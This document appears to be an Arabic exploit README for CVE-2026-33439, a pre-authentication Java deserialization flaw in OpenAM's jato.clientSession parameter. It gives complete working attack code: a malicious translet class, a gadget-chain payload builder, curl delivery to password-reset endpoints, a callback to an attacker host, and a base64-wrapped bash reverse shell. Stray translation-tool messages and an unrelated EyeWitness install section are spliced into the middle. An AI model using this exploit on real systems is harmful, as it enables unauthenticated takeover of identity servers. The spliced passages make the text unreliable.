أول تنفيذ استغلال مُشارَك علنًا لثغرة CVE-2026-33439 (RCE قبل المصادقة في OpenAM عبر إلغاء تسلسل jato.clientSession).
رؤية بشرية + تحليل بمساعدة الذكاء الاصطناعي + هندسة عكسية + استشارة ← استغلال
أول تنفيذ استغلال مُشارك علنًا لـ CVE-2026-33439
ثغرة إلغاء تسلسل Java غير مصادق عليها في ForgeRock OpenAM تسمح بتنفيذ كامل للتعليمات البرمجية عن بُعد عبر كائنات جلسة JATO مُصمّمة. النهر نفسه يجري مرتين، أصلحوا jato.pageSession (CVE-2021-35464) ونسوا jato.clientSession (CVE-2026-33439). سلسلة أدوات إلغاء التسلسل لا تطلب بيانات اعتماد.
CVE-2026-33439 هي ثغرة تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenIdentityPlatform OpenAM (الإصدارات الأقدم من 16.0.6). تنبع الثغرة من إلغاء تسلسل Java غير الآمن لمعامل HTTP jato.clientSession داخل ClientSession.deserializeAttributes()، والذي يستدعي Encoder.deserialize() ← ApplicationObjectInputStream.readObject() دون تطبيق قائمة بيضاء للفئات.
يرسل مهاجم غير مصادق عليه طلب HTTP GET أو POST مُصمم يحتوي على كائن Java متسلسل إلى أي نقطة نهاية JATO ViewBean يعرض ملف JSP الخاص بها وسوم <jato:form>. عند الاستلام، يقوم الخادم بإلغاء تسلسل الكائن دون تحقق، مما يؤدي إلى تشغيل سلسلة أدوات مبنية بالكامل من فئات مضمّنة في حزمة OpenAM WAR - دون الحاجة إلى مكتبات خارجية - وتنفيذ أوامر نظام تشغيل عشوائية بصلاحية مستخدم عملية التطبيق.
متجه CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 حرجة
متجه CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 حرجة
هذه الثغرة هي انحدار مباشر للإصلاح غير المكتمل الذي طُبّق بعد CVE-2021-35464.
CVE-2021-35464 (ForgeRock AM / OpenAM): تنفيذ تعليمات برمجية عن بُعد قبل المصادقة عبر إلغاء تسلسل غير آمن لمعامل jato.pageSession. استُغلّ على نطاق واسع في البرية؛ وهو مدرج في قائمة CISA KEV. أدخل الإصلاح WhitelistObjectInputStream داخل ConsoleViewBeanBase.deserializePageAttributes() - وهي فئة فرعية مخصصة من ObjectInputStream تتحقق من كل اسم فئة مقابل قائمة بيضاء مكتوبة في الكود تضم ~40 فئة آمنة قبل إنشاء مثيل منها.
CVE-2026-33439 (OpenAM ≤ 16.0.5): طُبّق الإصلاح على jato.pageSession فقط. أما معامل jato.clientSession - الذي يتعامل معه مسار كود منفصل تمامًا في ClientSession.deserializeAttributes() - فلم تتم معالجته أبدًا ولا يزال يستخدم Encoder.deserialize() ← ApplicationObjectInputStream غير المفلتر، والذي يستدعي ObjectInputStream.readObject() دون قائمة بيضاء للفئات.
آلية الهجوم هي نفسها. نقطة غرق إلغاء التسلسل مختلفة. فقط اسم المعامل تغيّر.
يقوم JATO بتسلسل حالة عرض الواجهة إلى معاملات HTTP باسمي jato.pageSession و jato.clientSession. عندما يصل طلب، يقوم OpenAM بإلغاء تسلسل هذه المعاملات لاستعادة حالة الواجهة قبل عرض الاستجابة. يتبع المعاملان مساري كود مختلفين تمامًا.
مسار الكود المُصحح (بعد CVE-2021-35464) لـ jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
مسار الكود غير المُصحَّح لـ jato.clientSession (الضُعيف):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() ينشئ ApplicationObjectInputStream بسيطًا - فئة فرعية من ObjectInputStream بدون أي تصفية للفئات. يمكن إنشاء مثيل لأي فئة على classpath الخاص بـ JVM. يتم تحفيز إلغاء التسلسل أثناء تصيير JSP كلما تم تصيير وسم :``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***النسخ المتأثرة***
| المنتج | النسخ المعرضة | الإصلاح |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (المشتقات) | من المحتمل أن تكون متأثرة اعتمادًا على سلسلة التصحيحات | - |
---
<div id="vulnerability_attacksurface"/>
### ***سطح الهجوم***
أي نقطة نهاية JATO ViewBean يحتوي JSP الخاص بها على وسم *< jato:form >* تكون قابلة للاستغلال قبل المصادقة:
| نقطة النهاية | الغرض |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | إعادة تعيين كلمة المرور - إدخال هوية المستخدم |
| /ui/PWResetQuestion | إعادة تعيين كلمة المرور - أسئلة الأمان |
نقاط نهاية إعادة تعيين كلمة المرور هي الهدف الأساسي، فهي متاحة للجمهور بطبيعتها ومضمون أن تعرض وسوم *< jato:form >*.
---
---
---
<div id="gadgetchain"/>
## ***⚙️ سلسلة Gadget***
<div id="gadgetchain_deserialization101"/>
### ***أساسيات إلغاء تسلسل Java***
عندما تقوم Java بإلغاء تسلسل كائن من دفق بايت، فإنها تستدعي `readObject()` على كل فئة تعيد بنائها، بما في ذلك الكائنات المتداخلة. إذا كان المهاجم يتحكم في دفق البايت ويحقن كائنًا يتسبب استدعاء `readObject()` الخاص به في سلسلة من استدعاءات الدوال تنتهي بتنفيذ كود، فإنه يحصل على RCE عبر سلسلة Gadget.
الرؤية الرئيسية لـ CVE-2026-33439: لا تتطلب سلسلة Gadget أي مكتبات خارجية. كل فئة في السلسلة مضمّنة داخل حزمة OpenAM WAR نفسها `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>وهذا يجعل الثغرة قابلة للاستغلال على أي نشر افتراضي لـ OpenAM.</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
هذا هو التفصيل الحرج الذي يجعل الاستغلال يعمل. تستخدم فئة `Encoder` في `jato-shaded-16.0.5.jar` مُرمِّز/فك ترميز base64 الآمن لعناوين URL في Java - وليس base64 القياسي، وليس مخطط استبدال أحرف مخصصًا.
تم التحقق من ذلك عن طريق تفكيك شيفرة Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
لم يتم تضمين أي محتوى مصدري في هذه الرسالة. يرجى توفير نص chunk 9 لترجمته.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
Base64 الآمن لعناوين URL يستخدم `-` بدلاً من `+` و `_` بدلاً من `/`، دون حشو `=`. الترميز الصحيح هو:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
أي ترميز آخر، بما في ذلك base64 القياسي أو استبدال الأحرف اليدوي، سيتسبب في جعل decodeHttp64() يرمي استثناءً أو ينتج بايتات تالفة، مما يؤدي إلى إحباط إلغاء التسلسل بصمت دون أي خطأ في استجابة HTTP.
السلسلة الكاملة، باستخدام فئات OpenAM WAR فقط:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
يرجى تزويدي بالمحتوى المراد ترجمته.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
تفاصيل حرجة: "Column$ColumnComparator.compare()" يستدعي "column.getTable().isSortedAscending()" قبل استدعاء "getProperty()". إذا أعادت "getTable()" قيمة null، فإن سلسلة الاستدعاءات تتوقف عند "NullPointerException" قبل الوصول إلى "TemplatesImpl". يجب ربط كائن "Table" بكائن "Column" من خلال "column.setTable(table)" قبل التسلسل.
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| الحاوية | الصورة | الدور |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | هدف قابل للاستغلال |
| cve_2026_33439_attacker | debian:bookworm-slim | جهاز الهجوم |
> يستخدم المختبر ملف OpenAM 16.0.5 WAR الرسمي المنشور على Tomcat 10.1.52 مع Java 21 - وهي البيئة المحددة الموضحة في GitHub Security Advisory.
---
<div id="lab_setup"/>
### ***الإعداد***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**الخطوة 1 - تنزيل ملف OpenAM 16.0.5 WAR الرسمي**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
الخطوة 2 - شغّل الحاويات```powershell docker compose up -d
**الخطوة 3 - تكوين OpenAM من المتصفح**
انتقل إلى "http://localhost:8080/openam"، وانقر على "Create Default Configuration" ثم عيّن:
| الحقل | القيمة |
|---------------------------------|---------------|
| كلمة مرور المستخدم الافتراضي (amadmin) | Lab@dm1n2026! |
| كلمة مرور الوكيل | secret12 |
انتظر حوالي دقيقتين لاكتمال التكوين.
**الخطوة 4 - تأكيد تمكين إعادة تعيين كلمة المرور**
سجّل الدخول باسم amadmin ← Configure ← Global Services ← Password Reset ← فعّل المفتاح ← Save Changes.
**الخطوة 5 - تحديد نقاط نهاية JSP القابلة للاستغلال**
ابحث عن جميع ملفات JSP في WAR التي تحتوي على وسمات *< jato:form >*، فهذه هي نقاط النهاية التي يتم فيها تشغيل إلغاء تسلسل jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
افحص كود مصدر JSP لفهم سبب عدم ظهور jato.clientSession في HTML المعروض. وسم <jato:form> مغلّف داخل <jato:content name="resetPage">، الذي يتم عرضه فقط عندما يقوم ViewBean بتفعيل تلك الكتلة. ومع ذلك، فإن <jato:useViewBean> في أعلى JSP يقوم دائمًا بإنشاء مثيل ViewBean ومعالجة jato.clientSession قبل تحديد الكتل التي سيتم عرضها - تحدث عملية إلغاء التسلسل عند تلك النقطة بغض النظر عن ذلك:```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
## المنصات المدعومة حالياً
سيتم دعم منصات إضافية قريباً
دعم إصدار Python: الإصداران 2.7 و3.4+ مدعومان حالياً
## التثبيت
### التثبيت عبر PyPI
ملاحظة: نختبر حالياً توفير طريقة تثبيت بديلة عبر setup.py. من المتوقع أن تعمل هذه الطريقة مع التثبيت المحلي والتثبيت عبر virtualenv. لا نوصي باستخدامها للتثبيت العام بعد.
### أحدث إصدار تطويري
لاستخدام إصدار التطوير، يجب أن يكون pip مثبتاً لديك. نفّذ الأمر التالي:
### التثبيت عبر Pip
هذه هي طريقة التثبيت الموصى بها حالياً. ستقوم بتثبيت الإصدار المستقر من Eyewitness.
### تثبيت التبعيات
لتثبيت التبعيات، نفّذ الأمر التالي:
ملاحظة: يتيح إصدار Python 3.4+ فقط تشغيل ملف setup.py. إذا كنت تستخدم Python 2.7، فسيتعين عليك تثبيت التبعيات يدوياً.
## الاستخدام
لبدء استخدام Eyewitness، يجب عليك توفير ملف يحتوي على عناوين URL لالتقاط لقطات شاشة لها. يجب تنسيق الملف بحيث يتضمن كل سطر عنوان URL واحد، ويجب أن تكون العناوين بالصيغة `https://example.com` (بما في ذلك البروتوكول). افتراضياً، يكون دليل الإخراج هو `./screenshots`.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
الخطوة 6 - تحقق من أن نقطة النهاية قابلة للوصول قبل المصادقة```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
<div id="lab_access"/>
### ***الوصول***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
تفكيك:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 الاستغلال***
<div id="exploitation_prerequisites"/>
### ***المتطلبات الأساسية***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| المتطلب | ملاحظات |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | يجب أن يطابق إصدار JVM الذي يعمل عليه OpenAM. JRE وحده لا يكفي، حيث أن javac مطلوب لترجمة EvilTranslet و PayloadBuilder |
| openam-core-16.0.5.jar | منسوخ من حاوية OpenAM - يحتوي على Column و Column$ColumnComparator و PropertyUtils |
| xalan-2.7.3.jar | منسوخ من حاوية OpenAM - يحتوي على TemplatesImpl و TransformerFactoryImpl |
| serializer-2.7.3.jar | منسوخ من حاوية OpenAM - يحتوي على SerializationHandler المستخدم بواسطة EvilTranslet |
| click-nodeps-2.3.0.jar | منسوخ من حاوية OpenAM - يحتوي على Table (مطلوب بواسطة Column$ColumnComparator) |
| click-extras-2.3.0.jar | منسوخ من حاوية OpenAM - اعتماد تابع لـ click-nodeps |
| jato-shaded-16.0.5.jar | منسوخ من حاوية OpenAM - يحتوي على Encoder مع decodeHttp64 |
| servlet-api.jar | منسوخ من مجلد lib/ في Tomcat - Jakarta Servlet API مطلوب لتسلسل Table |
| Python 3.8+ | لسكربت إثبات المفهوم (PoC) |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***الاكتشاف والاستطلاع***
**الخطوة 1 - تأكيد أن OpenAM يعمل وتحديد الإصدار**```
http://localhost:8080/openam/ccversion/Version
الخطوة 2 - استكشاف نقاط نهاية JATO ViewBean```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**الخطوة 3 - تأكيد معالجة jato.clientSession**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
ستحتوي الاستجابة على "jato.defaultCommand" و"jato.pageSession" ولكن لن تحتوي على "jato.clientSession" في HTML المُقدَّم، وهذا سلوك متوقع. الحقل "jato.clientSession" يظهر فقط داخل < jato:content name="resetPage" >، الأمر الذي يتطلب من ViewBean تفعيل تلك الكتلة. ومع ذلك، فإن < jato:useViewBean > يقوم دائمًا بإنشاء ViewBean ومعالجة "jato.clientSession" قبل تحديد أي الكتل سيتم عرضها. يتم تشغيل إلغاء التسلسل (Deserialization) في وقت الإنشاء بغض النظر عن ظهور الحقل في مخرجات HTML النهائية. وجود "jato.pageSession" في الاستجابة يؤكد أن تسلسل JATO نشط على هذا الـ endpoint وأن "jato.clientSession" سيتم إلغاء تسلسله في الطلب التالي.
قبل بناء الاستغلال، يجب التحقق من التشفير المستخدم بواسطة "Encoder.decodeHttp64()" عبر فك تجميع ملف JATO JAR. هذه الخطوة ضرورية، فاستخدام تشفير خاطئ يؤدي إلى فشل إلغاء التسلسل بصمت.
الخطوة 1 - انسخ جميع ملفات JAR المطلوبة من OpenAM إلى مساحة عمل المهاجم
من PowerShell على المضيف:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**الخطوة 2 - فك تجميع المُرمِّز للتحقق من طريقة فك الترميز**
من داخل حاوية المهاجم:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
الإخراج المتوقع لتأكيد URL-safe base64:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**الخطوة 3 - فك تجميع Column$ColumnComparator للتحقق من مسار سلسلة الأدوات**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
هذا يؤكد أن Column.getTable() يجب أن يُرجع كائن Table غير فارغ، وإلا ستُطلق compare() استثناء NullPointerException قبل الوصول إلى getProperty() → TemplatesImpl.
جميع الأوامر من داخل حاوية المهاجم.
الخطوة 1 - ضبط classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**الخطوة 2 - كتابة وتجميع EvilTranslet.java**
توسّع EvilTranslet الفئة AbstractTranslet (المطلوبة من طرف TemplatesImpl) وتنفّذ الأمر في المُهيّئ الثابت، الذي يعمل تلقائيًا عند استدعاء newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
الخطوة 3 - اكتب وقم بتجميع PayloadBuilder.java
يقوم PayloadBuilder ببناء سلسلة الأدوات ويُخرج الحمولة المتسلسلة المشفّرة بترميز base64 الآمن لعناوين URL.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**الخطوة 4 - إنشاء الحمولة**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
تأكيد RCE عبر استدعاء HTTP خارج النطاق
الطرفية 1 - المستمع:``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
الطرفية 2 - إنشاء وإرسال حمولة الاستدعاء:```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
إذا كان RCE يعمل، فستتلقى Terminal 1 اتصال HTTP واردًا من خادم OpenAM:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**كتابة أثر ملف**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
تحقق من PowerShell:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**شل عكسي**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
الطرفية 1 - المستمع:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
الطرفية 2 - التسليم:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***استخدام أداة PoC***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
يقوم سكربت بايثون بأتمتة السلسلة الكاملة: يجمّع EvilTranslet، ويبني سلسلة الأدوات (gadget chain) عبر PayloadBuilder، ويشفّر باستخدام URL-safe base64، ثم يسلّمها.```bash
